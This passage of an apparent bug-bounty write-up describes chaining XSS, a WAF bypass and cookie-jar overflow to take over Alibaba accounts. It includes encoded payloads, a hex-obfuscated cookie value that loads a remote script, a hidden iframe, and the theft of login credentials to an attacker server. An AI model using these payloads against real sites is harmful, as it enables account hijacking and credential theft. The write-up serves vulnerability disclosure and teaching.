Chaining Multiple Vulnerabilities + WAF bypass to Account Takeover in almost all Alibaba’s websites

However, It didn’t, though. Because of another AJAX request made by the JavaScript. Considering the line 10 of the gist code, the JavaScript library mentioned before had a dependency to an AJAX request. The request was:"><script>&searchType=0¤t=1

The WAF blocked the second request as detected the payload malicious (No doubt that any WAF should block "><script>). The bad news was according to the library, only 200 status code will result in reflecting the payload (The line 11 in gist code):

if (200 == b.code) {

SO, a payload was needed to bypassed WAF in two requests at the same time.
More fuzzing was needed here. Several vectors were tested. Afterward, the golden payload was discovered:


Which bypassed the WAF in the AJAX request.

Advance thanks to HTML 5. So the final payload was:">%26gt;details%2fopen%2fontoggle=%26lt;

Which caused to send second AJAX request:"><details/open/ontoggle=>&searchType=0¤t=1

Both are acceptable from WAF. BINGO!

The Scenario:

  1. Building a malicious HTML webpage
  2. Tricking user to visit our webpage
  3. Setting a malicious cookie
  4. JavaScript is injected in many Alibaba’s subdomains
  5. Grabbing the Credentials

The Problem of Exploitation:

Since the sets the cookie for its domain with uid name, it cannot be overwritten from another domain. Adding another cookie with the same name with attribute won’t solve the problem too, since if two cookies named xxx exist for a domain, the default behavior is browser puts old one earlier in the HTTP request so the server takes the first cookie.

Overwriting the Cookie

Tests have shown browsers save limited amount of cookies per domain. As an instance, Google Chrome saves less than 150 cookies for a domain, while Firefox saves roughly 200. More details:

As a consequence, the payload was simple:

for(var i=0;i<1000;i++){

So the attack vector is eliminating the old uid cookie by adding many junk cookies, adding new uid cookie filled by the malicious payload.

The Alert Payload

Since the WAF blocked the ")+alert("xss, the equivalent value replaced to evasion the WAF:


Put All Together

The final payload as simpler than expected:;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;}document.cookie=%27uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;;path=/%27%22%3E

Visiting the URL above injects malicious JavaScript code in the cookie which is executed in the many domains of Alibaba company, For example:

Obviously, there are more sites affected.

The Final Shot

The final goal is to account takeover in Alibaba’s websites. The scenario is tricking a user to click on a link, then if user login next time, the account will be compromised. The source of link firing the vulnerability:

<img src=''><img>
<iframe src=";details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;}document.cookie=%27uid=\x22\x29\x2b\x28\x73\x63\x72\x69\x70\x74\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x27\x73\x63\x72\x69\x70\x74\x27\x29\x2c\x73\x63\x72\x69\x70\x74\x2e\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x78\x70\x6c\x2e\x6a\x73\x27\x2c\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x62\x6f\x64\x79\x2e\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64\x28\x73\x63\x72\x69\x70\x74\x29\x29\x2b\x28\x22;;path=/%27%22%3E" style="width:0;height:0;border:0; border:none;"></iframe>

The iframe src uses the following payload instead of alert to inject malicious JavaScript file and load it dynamically:


Obviously, the payload located in https://myserver/xpl.js:

Eventually, after a user visits the attacker’s link, and login into, the credentials will be stolen and saved in https://myserver/xxx-alibaba/data.txt:


Account takeover accomplished.